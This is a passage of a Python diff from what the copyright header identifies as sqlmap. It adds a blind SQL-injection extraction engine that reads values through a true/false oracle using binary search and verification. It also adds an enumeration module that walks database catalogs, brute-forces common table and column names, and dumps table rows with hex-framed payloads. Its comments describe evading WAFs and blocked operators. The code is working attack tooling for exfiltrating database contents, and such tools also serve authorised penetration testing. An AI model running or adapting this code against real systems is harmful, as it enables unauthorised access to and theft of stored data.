+            # literals; a backend that rewrites '>' to '>=' for a computed operand (LENGTH(..)>n)
+            # converges off-by-one. Confirm the length directly, else fail closed.
+            if not truncated and not ask("(%s)=%d" % (L, length)):
+                raise OracleUndecided("host length failed final equality")
+        else:                                               # no length fn: derive from substring end
+            exists = lambda n: ask(strategy.renderCharExists(expr, n))
+            if not exists(1):
+                is_null = ask(strategy.renderIsNull(expr))  # ask ONCE
+                return ExtractResult(None, is_null=is_null, complete=is_null)
+            if maxlen <= 0:                                 # non-empty but capped to nothing
+                return ExtractResult("", complete=False, truncated=True)
+            lo, hi = 1, min(8, maxlen)
+            while hi < maxlen and exists(hi):
+                lo, hi = hi, min(hi * 2, maxlen)
+            while lo < hi:
+                mid = (lo + hi + 1) // 2
+                lo, hi = (mid, hi) if exists(mid) else (lo, mid - 1)
+            length = lo
+            truncated = length >= maxlen and exists(maxlen + 1)
+
+        def read(pos):
+            mode = strategy.compare_mode
+            if mode == "code":
+                code = strategy.renderCode(expr, pos)
+                top = 0x10FFFF
+                for cap in (127, 255, 0xFFFF, 0x10FFFF):
+                    if not ask(strategy.renderGt(code, cap, HUGE)):
+                        top = cap
+                        break
+                a, b = 0, top
+                while a < b:
+                    m = (a + b) // 2
+                    a, b = (m + 1, b) if ask(strategy.renderGt(code, m, HUGE)) else (a, m)
+                # FINAL EQUALITY on the code: comparator semantics are INDEPENDENT of the code
+                # fn's semantics, so a '>'->'>=' rewrite on the code expression converges off-by-
+                # one even when the code fn is codepoint-faithful. Confirm directly, else fail.
+                if not ask("(%s)=%d" % (code, a)):
+                    raise OracleUndecided("host code failed final equality")
+                return _unichr(a)
+            if mode in ("collation", "ordinal"):
+                cs = _PRINTABLE_SORTED
+                a, b = 0, len(cs) - 1
+                while a < b:
+                    m = (a + b) // 2
+                    a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m)
+                return cs[a]
+            for ch in _FREQ_ORDER:                          # equality scan
+                if ask(strategy.renderCharCmp(expr, pos, ch, "=")):
+                    return ch
+            return _REPL
+
+        value = "".join(read(i) for i in range(1, length + 1))
+        warns = ["contains unresolved char"] if _REPL in value else []
+        if strategy.compare_mode == "equality-ci":
+            warns.append("lossy equality collation: case/accents ambiguous")
+        # WHOLE-VALUE verification: mirrors the native verify. Run it regardless of code-point
+        # semantics - the code fn being codepoint-faithful says nothing about the COMPARATOR (a
+        # rewritten '>' still corrupts a codepoint-faithful read), so the value must be confirmed
+        # against the source rather than trusted because the code fn is faithful.
+        needs_verify = not truncated and _REPL not in value
+        if needs_verify and not ask(strategy.renderExactEq(expr, strategy.lit(value))):
+            warns.append("whole-value verification failed")
+            return ExtractResult(value, complete=False, truncated=truncated, warnings=warns)
+        # mirror the native EXACT gate: without a proven byte-exact witness (hex / binary /
+        # codepoint) the value is WHOLE_BUT_AMBIGUOUS, never EXACT - renderExactEq falls back to
+        # collation-dependent plain '=' which cannot certify byte-exactness.
+        if value and not truncated and _REPL not in value and strategy.exact_witness is None:
+            warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness")
+        return ExtractResult(value, complete=not truncated and not _hardWarnings(warns),
+                             truncated=truncated, warnings=warns)
+
+    try:
+        return _run()
+    except OracleUndecided:
+        return ExtractResult(None, complete=False, warnings=["host oracle undecided"])

extra/esperanto/enumeration.py

@@ -0,0 +1,906 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from .atlas import _BULK_AGG
+from .atlas import _COLUMN_SPECS
+from .atlas import _HEX_PAYLOAD_CODES
+from .atlas import _IDENT_QUOTE
+from .atlas import _KEY_SPECS
+from .atlas import _REPL
+from .atlas import _ROWID
+from .atlas import _ROWID_LITBOUND
+from .records import BulkResult
+from .records import Cap
+from .records import InferenceStrategy
+from .records import OracleUndecided
+from .wordlist import commonColumns
+from .wordlist import commonTables
+
+_BRUTE_MAX_TRIES = 500      # cap existence-probes so a slow oracle can't run away
+_MEMBERSHIP_PAGING_BUDGET = 8192   # max rendered NOT IN() fragment before stopping (partial) - it grows per row
+# pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump)
+_PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax"))
+
+
+class _Enumeration(object):
+    """_Enumeration
+
+    catalog walking + data dump: enumerate / columns / dump / bulk + row selection.
+    When the catalog is unreadable/unknown (permission wall, exotic engine, CTF), the
+    table/column listings fall back to brute-forcing common names (bruteTables /
+    bruteColumns) so extraction works with zero schema knowledge."""
+
+    def enumerate(self, kind="table", limit=10, schema=None):
+        """Bounded enumeration by keyset (MIN(name) WHERE name>'prev') - no dialect
+        row limiter needed, and cost scales with `limit`, not catalog size. `schema`
+        scopes tables to one database. Falls back to brute-forcing common table names
+        when the catalog is unavailable/empty. For a full dump prefer enumerateBulk."""
+        names = None
+        if kind in self.dialect.catalogEnum and self._canPage:
+            names = self.enumerateKeyset(kind, limit, schema)
+        if not names and kind == "table":
+            names = self.bruteTables(limit, schema)     # no catalog/paging -> guess the usual names
+        return names
+
+    @property
+    def _canPage(self):
+        # keyset enumeration needs an ordered comparator or IN() (NOT IN paging); with
+        # neither, the catalog walk can't advance past the first row -> use brute-force
+        return self._comparator in ("gt", "between") or self._inOk
+
+    def bruteTables(self, limit=50, schema=None):
+        """No/unreadable catalog: discover tables by existence-probing common names
+        (COUNT(*) succeeds -> exists; errors -> the oracle reads False). The 'know
+        nothing about the schema' fallback, akin to sqlmap's --common-tables."""
+        self.dialect.notes.append("catalog unavailable - brute-forcing common table names")
+        found, tries = [], 0
+        for name in commonTables():
+            if len(found) >= limit or tries >= _BRUTE_MAX_TRIES:
+                break
+            tries += 1
+            qname = self.quoteIdent(name)
+            if schema is not None:
+                qname = "%s.%s" % (self.quoteIdent(schema), qname)
+            try:
+                if self._exists(qname):
+                    found.append(name)
+                    self._emit(name)
+            except OracleUndecided:
+                break                                   # oracle wall - stop, keep what we have
+        return found
+
+    def bruteColumns(self, table, schema=None, limit=100):
+        """No/unreadable column catalog: discover columns of `table` by existence-
+        probing common names (COUNT(col) succeeds -> the column exists)."""
+        qtable = self.quoteIdent(table)
+        if schema is not None:
+            qtable = "%s.%s" % (self.quoteIdent(schema), qtable)
+        found, tries = [], 0
+        for col in commonColumns():
+            if len(found) >= limit or tries >= _BRUTE_MAX_TRIES:
+                break
+            if col.lower() in _PSEUDO_COLUMNS:      # rowid/ctid/oid... are queryable but not real columns
+                continue
+            tries += 1
+            try:
+                # probe the column BARE but ALIAS-QUALIFIED (`e.col`): a nonexistent bare
+                # column errors (a double-quoted unknown is a STRING LITERAL on SQLite -> would
+                # pass every fake name), and the alias stops a candidate that is really a
+                # KEYWORD/FUNCTION (e.g. `user` -> USER) from resolving. COUNT-free (WAF-safe).
+                if self._exists(qtable, col, alias="e"):
+                    found.append(col)
+                    self._emit(col)
+            except OracleUndecided:
+                break
+        if found:
+            self.dialect.notes.append("column catalog unavailable - brute-forced %d common column names" % len(found))
+        return found
+
+    def _source(self, kind, schema=None):
+        col, src, filt = self.dialect.catalogEnum[kind]
+        clauses = [filt] if filt else []
+        if schema is not None and "schema" in self.dialect.catalogEnum:
+            scol, ssrc = self.dialect.catalogEnum["schema"][0], self.dialect.catalogEnum["schema"][1]
+            # the scope column is only valid IN ITS OWN source. ANSI/PG/Oracle co-locate
+            # table+schema in one catalog view; MSSQL splits them (sys.tables vs sys.schemas)
+            # so `name=<schema>` on sys.tables would match table NAMES - skip it, don't corrupt.
+            if ssrc == src:
+                clauses.append("%s=%s" % (scol, self.buildLiteral(schema)))
+        return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "")
+
+    def enumerateKeyset(self, kind, limit=10, schema=None):
+        if kind not in self.dialect.catalogEnum:
+            return None
+        col, src, where = self._source(kind, schema)
+        return self._keysetWalk(col, src, where, limit)
+
+    def _keysetWalk(self, col, src, where, limit):
+        # page by keyset: MIN(name) then MIN(name) WHERE name > prev. no dialect row
+        # limiter needed. the FIRST query is unbounded (a space/'' seed would skip
+        # identifiers sorting below it). the DB does the ordering in its own
+        # collation; Python only tests EXACT repetition (collation-invariant) - never
+        # a Python `<=` ordering test.
+        conj = " AND " if where else " WHERE "
+        names, prev = [], None
+        while len(names) < limit:
+            if prev is None:
+                expr = "(SELECT MIN(%s) FROM %s%s)" % (col, src, where)
+            else:
+                beyond = self._beyondSql(col, prev, "text", seen=names)
+                if beyond is None:                   # no ordered comparator, no IN -> can't page
+                    self.dialect.notes.append("enumeration stopped: no way to page (no ordered comparator, no IN)")
+                    break
+                expr = "(SELECT MIN(%s) FROM %s%s%s%s)" % (col, src, where, conj, beyond)
+            # a best-effort walk must DEGRADE, not crash: an undecided/over-budget
+            # probe (permission or charset wall) stops the listing with what we have
+            try:
+                if not self._ask("%s IS NOT NULL" % expr):
+                    break
+                res = self.extractResult(expr)       # complete-or-stop: a partial name is a bad keyset bound
+            except OracleUndecided:
+                self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)")
+                break
+            if not res.complete:                 # incomplete (truncated / unresolved / unverified) name is
+                self.dialect.notes.append("enumeration stopped: incomplete identifier read (unsafe keyset bound)")
+                break                            # an unsafe keyset bound - a soft case/accent warning still passes
+            name = res.value
+            if not name:
+                break
+            if name in names:
+                # revisiting an already-listed name (not just the immediate predecessor) means the
+                # paging bound and the recovered spelling disagree - e.g. the keyset compare and
+                # the char read resolve under DIFFERENT collations, so the walk cycles f,e,f,e...
+                # Stop with a PARTIAL, de-duplicated list rather than loop or emit duplicates.
+                self.dialect.notes.append("enumeration stopped: identifier %r revisited "
+                                          "(paging/read-back collation mismatch) - list may be partial" % name)
+                break
+            if not res.exact and not self._nonExactNamesNoted:
+                # the name paged correctly (the walk uses the engine's OWN collation, so a
+                # case/accent-ambiguous bound is self-consistent) but its exact spelling is NOT
+                # proven - flag it, since a caller may reuse the name as an exact SQL identifier.
+                self._nonExactNamesNoted = True
+                self.dialect.notes.append("enumerated identifiers are case/accent-approximate "
+                                          "(no byte-exact primitive) - exact spelling not proven")
+            names.append(name)
+            self._emit(name)                         # live feedback per discovered name
+            if _REPL in name:
+                # an unrecoverable char in the name can't form a reliable keyset bound;
+                # stop rather than loop on a corrupt (or repeating) boundary
+                self.dialect.notes.append("enumeration stopped: %r holds an unrecoverable character" % name)
+                break
+            prev = name
+        return names
+
+    def _beyondSql(self, expr, prev, unit, seen=None, boundfn=None):
+        # SQL fragment picking the next un-taken row for keyset paging, honoring the
+        # discovered comparator so paging survives a blocked '>'. '>' pages by "sorts
+        # after prev"; a blocked '>' keeps numeric keys ordered via BETWEEN, and pages
+        # text keys order-free by "key NOT IN (already-seen)" (needs only IN, and dodges
+        # any collation/sentinel guesswork). Returns None when none of these is possible
+        # - the caller then stops with the rows it already has.
+        lit = boundfn or self.buildLiteral        # rowids may need a quoted literal (see _ROWID_LITBOUND)
+        if self._comparator == "gt":
+            bound = prev if unit == "int" else lit(prev)
+            return "%s>%s" % (expr, bound)
+        if self._comparator == "between" and unit == "int":
+            return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev)
+        if self._cmpTemplate is not None and unit == "int":   # operator-free ordered rung
+            return self._cmpTemplate.format(expr=expr, n=prev)   # "expr > prev" without '>'
+        if self._inOk and seen:
+            lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen)
+            frag = "%s NOT IN (%s)" % (expr, lits)
+            # NOT IN(all-seen) grows every row (quadratic payload / WAF surface). Beyond a
+            # rendered-size budget, stop with a PARTIAL result + note rather than emitting an
+            # ever-larger request (and never let one un-renderable literal poison the walk).
+            if len(frag) > _MEMBERSHIP_PAGING_BUDGET:
+                self.dialect.notes.append("membership paging stopped: NOT IN() payload budget exceeded (partial)")
+                return None
+            return frag
+        return None
+
+    def hasTable(self, table, schema=None):
+        """Does `table` (optionally in `schema`) resolve? COUNT-free existence."""
+        q = self.quoteIdent(table)
+        if schema:
+            q = "%s.%s" % (self.quoteIdent(schema), q)
+        try:
+            return self._exists(q)
+        except OracleUndecided:
+            return False
+
+    def tableSchema(self, table):
+        """Resolve which schema a table actually lives in, from the catalog. PG-family
+        tables are commonly in 'public' while current_schema() is the login user's own
+        (empty) schema, so scoping to the current schema misses them. Returns the schema
+        name, or None if the catalog has no schema concept or the table isn't found."""
+        ce = self.dialect.catalogEnum
+        if "schema" not in ce or "table" not in ce:
+            return None
+        schemacol = ce["schema"][0]
+        namecol, source = ce["table"][0], ce["table"][1]
+        if ce["schema"][1] != source:       # schema lives in a SEPARATE catalog view (MSSQL
+            return None                     # sys.schemas) - can't co-query it against sys.tables
+        # prefer a non-system schema (a system table could share the name)
+        excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema",
+                "SYS", "INFORMATION_SCHEMA", "pg_toast")
+        notsys = " AND %s NOT IN (%s)" % (schemacol, ",".join(self.buildLiteral(s) for s in excl))
+        for tail in (notsys, ""):
+            expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail)
+            try:
+                if self._ask("%s IS NOT NULL" % expr):
+                    res = self.extractResult(expr)   # a SCHEMA NAME becomes a qualifier -> require EXACT
+                    if res.exact and res.value:
+                        return res.value
+            except OracleUndecided:
+                break
+        return None
+
+    def quoteIdent(self, name):
+        """Quote a target-supplied identifier (table/column) so reserved words,
+        spaces, dots, or embedded quote chars are referenced safely. A name is an
+        IDENTIFIER, never a raw SQL fragment. Falls back to the bare name if no
+        quoting style was discovered."""
+        q = self.dialect.identQuote
+        if not q:
+            return name
+        return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1])
+
+    def qualify(self, table, schema=None):
+        """The quoted, optionally schema-scoped table reference used for a dump - the SAME
+        expression for count, key discovery, and row retrieval, so a non-default schema can't
+        make the count query hit a different (unqualified) table than the dump."""
+        qt = self.quoteIdent(table)
+        return "%s.%s" % (self.quoteIdent(schema), qt) if schema is not None else qt
+
+    def _ensureQuoting(self, table):
+        # discover the identifier-quote style using the (known-present) table:
+        # the wrong quote char makes SELECT ... FROM <quoted> error -> reject
+        if self.dialect.identQuote is not None or self.dialect.identQuote is False:
+            return self.dialect.identQuote or None
+        with self._probePhase():            # a wrong quote char makes FROM <quoted> error -> "unusable", not undecided
+            for open_q, close_q in _IDENT_QUOTE:
+                quoted = "%s%s%s" % (open_q, table.replace(close_q, close_q * 2), close_q)
+                if self._exists(quoted):
+                    self.dialect.identQuote = (open_q, close_q)
+                    return self.dialect.identQuote
+            self.dialect.identQuote = False             # sentinel: probed, none worked
+        return None
+
+    def columns(self, table, schema=None, limit=50):
+        """Enumerate a table's column names (keyset), optionally scoped to `schema`
+        (so identically-named tables in different schemas don't merge columns). Falls
+        back to brute-forcing common column names when no column catalog is usable."""
+        names = None
+        spec = _COLUMN_SPECS.get(self.dialect.catalog)
+        if spec and self._canPage:
+            col, source, wheretmpl = spec[0], spec[1], spec[2]
+            ordcol = spec[3] if len(spec) > 3 else None     # catalog's ordinal-position column
+            schemacol = spec[4] if len(spec) > 4 else None  # the column source's OWN schema column
+            lit = self.buildLiteral(table)
+            filt = (wheretmpl % lit) if wheretmpl else ""
+            if schema is not None and schemacol:            # explicit (e.g. Oracle OWNER, not table_schema)
+                filt += " AND %s=%s" % (schemacol, self.buildLiteral(schema))
+            elif schema is not None and "table_name" in (wheretmpl or ""):   # ANSI-shaped filter
+                filt += " AND table_schema=%s" % self.buildLiteral(schema)
+            elif schema is not None and "TABLE_NAME" in (wheretmpl or ""):
+                filt += " AND TABLE_SCHEMA=%s" % self.buildLiteral(schema)
+            where = (" WHERE %s" % filt) if filt else ""
+            # pragma_table_info(%s) takes the table in the source itself
+            source = source % lit if "%s" in source else source
+            names = self._keysetWalk(col, source, where, limit)
+            if names and ordcol:
+                names = self._orderByOrdinal(names, col, source, filt, ordcol)
+        if not names:
+            names = self.bruteColumns(table, schema, limit)  # no catalog -> guess the usual names
+        return names
+
+    def _orderByOrdinal(self, names, namecol, source, filt, ordcol):
+        # reorder the enumerated columns by their catalog ordinal so a dump matches the
+        # table's DEFINITION order, not the alphabetical MIN()-keyset order (+1 read per
+        # column). Degrades gracefully: a missing/wrong ordinal sorts last, never crashes.
+        keyed = []
+        for n in names:
+            cond = "%s=%s" % (namecol, self.buildLiteral(n))
+            if filt:
+                cond = "%s AND %s" % (filt, cond)
+            try:
+                o = self.extractInteger("(SELECT MIN(%s) FROM %s WHERE %s)" % (ordcol, source, cond))
+            except (OracleUndecided, OverflowError):
+                o = None
+            keyed.append((o if o is not None else 1 << 30, n))
+        return [n for _, n in sorted(keyed, key=lambda t: (t[0], t[1]))]
+
+    def _discoverKey(self, table, schema=None):
+        # a primary/unique key column, preferred over a physical rowid. keyset needs
+        # MIN() over it and a `> prev` bound, both of which a key column supports.
+        spec = _KEY_SPECS.get(self.dialect.catalog)
+        if not spec:
+            return None
+        source, tcol, ncol, extra = spec
+        filt = "%s=%s" % (tcol, self.buildLiteral(table))
+        if schema is not None:
+            filt += " AND table_schema=%s" % self.buildLiteral(schema)
+        if extra:
+            filt += " AND %s" % extra
+        # take the alphabetically-first key column (deterministic); a compound key
+        # still yields a usable ordering column for the walk
+        keyexpr = "(SELECT MIN(%s) FROM %s WHERE %s)" % (ncol, source, filt)
+        # discovering the key COLUMN NAME is setup, not data - run it inside the probe phase so a
+        # catalog lacking this key structure degrades to "no key" (not fatal) AND so the name does
+        # not surface on the live "retrieved:" feed (it is a column name, not a dumped entry).
+        with self._probePhase():
+            if self._ask("%s IS NOT NULL" % keyexpr):
+                res = self.extractResult(keyexpr)   # a key COLUMN NAME becomes SQL -> require an EXACT value
+                if res.exact and res.value:          # (a case-ambiguous name could mis-target)
+                    return res.value
+        return None
+
+    def columnType(self, expr):
+        """Coarse type hint: 'numeric' vs 'text'. RELIABLE ONLY ON STRICTLY-TYPED
+        engines (PostgreSQL/Oracle/SQL Server/DB2), where SUM() over a text column
+        errors. Dynamically-typed engines (SQLite, MySQL non-strict) coerce text->0
+        so SUM succeeds - there the hint is unreliable and returns 'unknown' when it
+        can't tell. Not a substitute for reading the catalog's declared type."""
+        sums = self._ask("(SELECT SUM(%s) FROM (SELECT %s) t) IS NOT NULL" % (expr, expr))
+        if not sums:
+            return "text"                       # SUM errored -> definitely not numeric
+        # SUM worked: real numeric, OR a coercing dynamic engine. disambiguate with a
+        # cheap non-digit check on the first char (via the discovered substring)
+        try:
+            one = self._sub(self._resolveText(expr), 1, 1)
+            if self._ask("%s>='0' AND %s<='9'" % (one, one)) or self._ask("%s='-'" % one):
+                return "numeric"
+        except Exception:
+            pass
+        return "unknown"
+
+    def _classifyUnit(self, keyexpr, qtable):
+        # a key/rowid reads as int (fast extractInteger + numeric bound) or opaque text
+        # (extract + literal bound). DEFAULT TEXT (safe, just slower) - misreading a text or
+        # decimal/float key as int DESTROYS the paging boundary (reviewer: 'a','1' and 1.5,2.5
+        # both broke). 'int' requires an EXACT-INTEGER round-trip, not a mere numeric sort:
+        #  - strict engines: `text = <int>` ERRORS -> text (probe phase reads False)
+        #  - a decimal/float (1.5) extracts as 2 and `1.5 = 2` is False -> text
+        #  - a genuine integer N round-trips `expr = N` -> int
+        # all rendered through the DISCOVERED comparator (_gtNum), never a raw '>='/'<'.
+        q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable)
+        if self._comparator == "membership":
+            return "text"                       # no ordered numeric compare -> literal-bound text
+        with self._probePhase():   # a numeric comparison on a TEXT key ERRORS on strict engines -> False
+            if not (self._numDefined(q) and self._gtNum(q, -(1 << 62) - 1, 1 << 62)):
+                return "text"                   # not comparable as a number (or NULL)
+            try:
+                n = self.extractInteger(q)      # signed, via the discovered comparator
+            except (OracleUndecided, OverflowError):
+                return "text"
+            # 'int' requires BOTH: (a) numeric equality `q = n` (catches a decimal - 1.5 extracts
+            # as 2 and 1.5 = 2 is false), and (b) the value LOOKS numeric - first char a digit or
+            # '-'. A loose engine coerces text->0 so `'AA' = 0` is spuriously true, but 'AA' starts
+            # with a non-digit; and (b) uses no `=`-to-string (SQLite won't coerce `1 = '1'`).
+            if n is not None and self._ask("(%s)=(%d)" % (q, n)) and self._looksNumeric(q):
+                return "int"
+        return "text"
+
+    def _looksNumeric(self, expr):
+        # first char is a digit or '-' (order-free IN test, so a blocked '>' doesn't matter).
+        # rejects non-digit text a loose engine coerced to 0; no substring to inspect -> can't
+        # refute -> keep the numeric verdict (never break a real int on a substring-less floor).
+        if self.dialect.substring is None:
+            return True
+        try:
+            one = self._sub(self._resolveText(expr), 1, 1)
+            return self._ask("%s IN ('0','1','2','3','4','5','6','7','8','9','-')" % one)
+        except OracleUndecided:
+            return True
+
+    def _discoverRowid(self, qtable):
+        # find a MIN-aggregatable physical row identifier for the (already-quoted)
+        # table; classify int vs opaque text (SQLite rowid is int; Oracle ROWID text).
+        # each candidate is a PROBE: a pseudo-column the engine lacks (ROWID on MSSQL,
+        # ctid off-PG, ...) errors, which must skip to the next candidate, not fail the dump
+        with self._probePhase():
+            for name, tmpl, _unit in _ROWID:
+                rid = tmpl % qtable if "%s" in tmpl else tmpl
+                if not self._ask("(SELECT MIN(%s) FROM %s) IS NOT NULL" % (rid, qtable)):
+                    continue
+                unit = self._classifyUnit(rid, qtable)
+                # a physical row-id used as a keyset must be a sane NON-NEGATIVE int;
+                # Informix's `rowid` reads as a bogus negative here -> reject it and fall
+                # through to the value-keyset walk rather than feed extractInteger garbage
+                if unit == "int" and self._comparator == "gt" and \
+                   not self._ask("(SELECT MIN(%s) FROM %s)>=0" % (rid, qtable)):
+                    continue
+                return Cap(name, rid, unit=unit)
+        return None
+
+    def _keyIsUnique(self, kexpr, qtable, total=None):
+        # a keyset ordering column MUST be single-column unique AND non-NULL, else `> prev`
+        # paging silently DROPS rows: a composite key's first column repeats (skipping the
+        # shared-value rows), and NULL keys sort outside the walk. Verified against the DATA
+        # (COUNT(*) == COUNT(DISTINCT key)) - a NULL key or duplicate makes distinct < total -
+        # so it holds regardless of how the constraint catalog was joined.
+        try:
+            if total is None:
+                total = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
+            distinct = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s)" % (kexpr, qtable))
+        except (OracleUndecided, OverflowError):
+            return False
+        return total is not None and distinct is not None and total == distinct
+
+    def _walkKey(self, qtable, table, schema, total=None):
+        # ordering key, best-first: primary/unique key -> physical row-id -> value.
+        # returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset
+        # comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral).
+        key = self._discoverKey(table, schema)
+        if key:
+            kexpr = self.quoteIdent(key)
+            if self._keyIsUnique(kexpr, qtable, total):
+                return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral
+            self.dialect.notes.append("key %s not single-column unique -> row-id/value keyset" % key)
+        rid = self._discoverRowid(qtable)
+        if rid is not None:
+            boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral
+            return rid.template, rid.get("unit"), "rowid:%s" % rid.name, boundfn
+        return None, None, "value", self.buildLiteral
+
+    def _rowPayload(self, cols):
+        # one hex-framed, NULL-PRESERVING token per column. When a length fn + text cast exist,
+        # each token embeds an INDEPENDENT character-length witness and a terminal marker:
+        #     V<charlen>:<hex>;    (value)      N;    (SQL NULL)
+        # so a capped/lossy HEX or CONCAT that SHORTENS the value is caught (`_splitRow` rejects a
+        # token whose decoded char count != the declared source length, or whose ';' is missing).
+        # Length counts CHARACTERS -> invariant under a re-encoding cast, and is measured by a
+        # DIFFERENT primitive than hex/concat, so it is not self-certifying. Without a length fn /
+        # cast the plain 'N' / 'V'+hex grammar (',' delimited) is used - framing still works, but
+        # the whole-value length witness is unavailable (noted). Needs hex + concat to frame a row.
+        if not self._ensureHexfn() or not self.dialect.concat:
+            return None, False              # can't frame a whole row -> caller scavenges cell-by-cell
+        self._rowLenFramed = bool(self.dialect.length and self.dialect.textcast)
+        if not self._rowLenFramed:
+            self.dialect.notes.append("row framing without a length witness (no length fn/cast) - "
+                                      "a capped hex/concat could shorten a cell undetected")
+        parts = []
+        for c in cols:
+            qc = self.quoteIdent(c)             # column names are identifiers, not raw SQL
+            # text-cast before hex so a numeric/date column yields its TEXT form, not
+            # DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001)
+            text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc
+            hexed = self.dialect.hexfn[1].format(expr=text)
+            if self._rowLenFramed:
+                lenstr = self.dialect.textcast[1].format(expr=self._len(qc))   # source CHAR length as text
+                body = self._concatMany(["'V'", lenstr, "':'", hexed, "';'"])
+                parts.append("CASE WHEN (%s) IS NULL THEN 'N;' ELSE %s END" % (qc, body))
+            else:
+                marked = self.dialect.concat[1].format(a="'V'", b=hexed)
+                parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked))
+        if self._rowLenFramed:
+            return self._concatMany(parts), True       # tokens self-terminate with ';'
+        interleaved = [parts[0]]
+        for p in parts[1:]:
+            interleaved.append("','")                  # the ',' row-token delimiter
+            interleaved.append(p)
+        return self._concatMany(interleaved), True    # flat when concat is variadic
+
+    def _cellRow(self, qtable, cols, where):
+        # SCAVENGER row read: pull each column on its own. A single value needs no comma/
+        # marker framing (so no concat) and its NULL is detected directly (so no hex 'N'
+        # sentinel) - this is how a dump still works on a back-end that can neither
+        # concatenate nor hex-encode. Slower (one extraction per cell), but it retrieves.
+        row = []
+        for c in cols:
+            res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (self.quoteIdent(c), qtable, where))
+            if not res.complete:
+                return None, False
+            row.append(res.value)
+        return row, True
+
+    def _splitRow(self, data, ncols):
+        # returns (row, valid); a malformed token count/marker/length means invalid, never
+        # a silently padded/truncated plausible row.
+        # framed cells are hex of a TEXT-CAST value, whose bytes are in the CAST's output charset
+        # (the connection/expression charset - MySQL re-encodes a latin1 column to utf-8 here), so
+        # use the PROVEN hex encoding, NOT the column's declared charset (that governs RAW bytes).
+        if data is None:
+            return None, False
+        # EFFECTIVE encoding: the proven per-expression hex codec, else the discovered charset (now
+        # the CONNECTION charset, which is what the CAST outputs). Same evidence the dump-exactness
+        # check below consumes, so decode and integrity never disagree.
+        enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
+        if getattr(self, "_rowLenFramed", False):
+            # V<charlen>:<hex>; / N;  -> every token MUST carry its terminal ';' and (for a value)
+            # decode to EXACTLY the declared source char length; a capped hex/concat fails one.
+            if not data.endswith(";"):               # a truncated final token dropped its terminator
+                return None, False
+            toks = data.split(";")
+            if toks and toks[-1] == "":
+                toks = toks[:-1]                     # drop the trailing terminator
+            if len(toks) != ncols:
+                return None, False                   # a truncated final token loses its ';' -> count off
+            vals = []
+            for t in toks:
+                if t == "N":
+                    vals.append(None)
+                    continue
+                if not t.startswith("V") or ":" not in t:
+                    return None, False
+                lenpart, _, hexpart = t[1:].partition(":")
+                if not lenpart.isdigit():
+                    return None, False
+                v = "" if hexpart == "" else self._decodeHexToken(hexpart, enc)
+                if v is None or len(v) != int(lenpart):   # INDEPENDENT length witness: decoded != source
+                    return None, False
+                vals.append(v)
+            return vals, True
+        toks = data.split(",")                       # plain grammar (no length witness available)
+        if len(toks) != ncols:
+            return None, False
+        vals = []
+        for t in toks:
+            if t == "N":
+                vals.append(None)
+            elif t == "V":
+                vals.append("")
+            elif t.startswith("V"):
+                v = self._decodeHexToken(t[1:], enc)
+                if v is None:
+                    return None, False
+                vals.append(v)
+            else:
+                return None, False
+        return vals, True
+
+    def dump(self, table, columns=None, schema=None, limit=10):
+        """Extract actual ROW DATA. Table/column names are treated as quoted
+        IDENTIFIERS (never raw SQL). Optionally scoped to `schema`. Rows are walked
+        by a primary/unique KEY when discoverable, else a physical row-id, else the
+        row's own value (distinct-only); each row is one hex-framed, NULL-preserving,
+        text-cast extraction. Completeness is checked against COUNT(*). Returns
+        {columns, rows, complete, keyed_by}."""
+        self._ensureQuoting(table)
+        qtable = self.qualify(table, schema)
+        cols = columns or self.columns(table, schema)
+        if not cols:
+            return None
+        payload, framed = self._rowPayload(cols)
+        if not framed:                               # no hex/concat to frame a whole row
+            self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table)
+        try:
+            expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
+        except (OracleUndecided, OverflowError):        # unknown/huge count -> walk up to `limit`, not a failure
+            expected = None
+        if expected == 0:
+            return {"columns": cols, "rows": [], "complete": True, "exact": True, "keyed_by": None}
+        keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema, total=expected)
+        rows, ok = [], True
+
+        def readrow(where):
+            # a whole row: one framed extraction when hex+concat exist, else cell-by-cell. The
+            # framed token carries an INDEPENDENT length witness + terminal marker (see _rowPayload),
+            # so _splitRow rejects a bounded/lossy hex/concat that shortened a cell; a rejected or
+            # errored framed read degrades to cell-by-cell (which reads each cell at its true length,
+            # so it cannot be cast-truncated) rather than dropping the row.
+            if framed:
+                try:
+                    res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES)
+                    if res.complete:
+                        row, ok2 = self._splitRow(res.value, len(cols))
+                        if ok2:
+                            return row, ok2
+                except OracleUndecided:
+                    pass                        # framed whole-row read errored -> cell-by-cell
+            return self._cellRow(qtable, cols, where)
+
+        # a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe
+        # (permission or charset wall) stops with whatever rows were recovered
+        try:
+            if keyexpr is not None:                  # key / row-id keyset (preferred)
+                prev, keys = None, []
